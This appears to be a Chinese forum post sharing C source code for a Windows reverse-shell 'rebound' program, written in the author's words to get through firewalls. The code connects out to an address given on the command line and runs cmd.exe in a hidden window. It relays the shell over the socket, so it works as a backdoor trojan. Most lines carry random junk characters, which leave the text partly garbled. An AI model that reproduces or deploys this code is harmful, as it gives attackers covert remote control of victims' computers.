这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `0svy}
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/* ============================== ->jDb/a{C
Rebound port in Windows NT ,: ^u-b|
By wind,2006/7 ~"bVL[
===============================*/ *^r}"in
#include o;*Q}Gr<M
#include fV~~J2IK
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#pragma comment(lib,"wsock32.lib") `@%LzeGz
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void OutputShell(); ]###w;
SOCKET sClient; 4e
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; y>LBl]
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void main(int argc,char **argv) DfB7*+x{
{
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WSADATA stWsaData; tBSW|0
int nRet; R!1p^~/
SOCKADDR_IN stSaiClient,stSaiServer; {)Xy%QV
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if(argc != 3) 62u4-}JzF
{ ?4uL-z](V
printf("Useage:\n\rRebound DestIP DestPort\n"); )gi9f1n`
return; d5 -qZ{W
} r<\u6jF
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WSAStartup(MAKEWORD(2,2),&stWsaData); X{VOAcugr
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,u m|1dh
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stSaiClient.sin_family = AF_INET; kT=8e;K
stSaiClient.sin_port = htons(0); lx i<F
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [ hsds\
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :KO2| v\
{ Va8&Z
printf("Bind Socket Failed!\n"); b Zt3|
return; n@w%Zl
} JtZ7ti
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stSaiServer.sin_family = AF_INET; (sj,[
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [-&Zl(9&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); >dT*rH 3w
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }WV:erg`
{ pk~WrqK}
printf("Connect Error!"); M=Wz
return; )e{}V\;q
} QW"! (`K
OutputShell(); Pz^544\~ou
} 4P0}+
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void OutputShell() ?Ob3tUz2
{ Ss`LLq0LO
char szBuff[1024]; W!<U85-#S
SECURITY_ATTRIBUTES stSecurityAttributes; j.YA2mr
OSVERSIONINFO stOsversionInfo; +|rj4j)L&'
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _*zt=zn>
STARTUPINFO stStartupInfo; vv7I_nK?
char *szShell; OJxl<Q=z
PROCESS_INFORMATION stProcessInformation; }\LQ3y"[
unsigned long lBytesRead; 8i pez/
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $8FUfJ1@
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7o4\oRGV
stSecurityAttributes.lpSecurityDescriptor = 0; 3a|\dav%
stSecurityAttributes.bInheritHandle = TRUE; m kexc~l
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _G0x3
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 54/=G(F
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); r/1(]#kOX
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [
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stStartupInfo.wShowWindow = SW_HIDE; ctUp=po
stStartupInfo.hStdInput = hReadPipe; wS*E(IAl
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Y ay?=Y{
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GetVersionEx(&stOsversionInfo); N;gfbh]
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switch(stOsversionInfo.dwPlatformId) *`U~?q}
{ 0aAoV0fMDz
case 1: 2?x4vI
np;
szShell = "command.com"; H#&00 Q[
break; h$*!8=M
default: Ls%MGs9PI
szShell = "cmd.exe"; `2snz1>!j
break; u&NV,6Fj2[
} y)pk6d
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6wxs1G
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send(sClient,szMsg,77,0); D]}G.v1
while(1) Yz b XuJ4
{ "]dI1 g_
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); a
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if(lBytesRead) kP"9&R`E
{ ceV}WN19l
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); VE24ToI?W"
send(sClient,szBuff,lBytesRead,0); 5m*,8 ]!-
} =Uh$&m
else ^s=8!=A(
{ L$-T,Kze
lBytesRead=recv(sClient,szBuff,1024,0); 9gFUaDLo
if(lBytesRead<=0) break; $?Wb}DU7_L
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); PeT'^?>
} 6 r"<jh #
} ise-O1'
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return; '%D7C=;^
}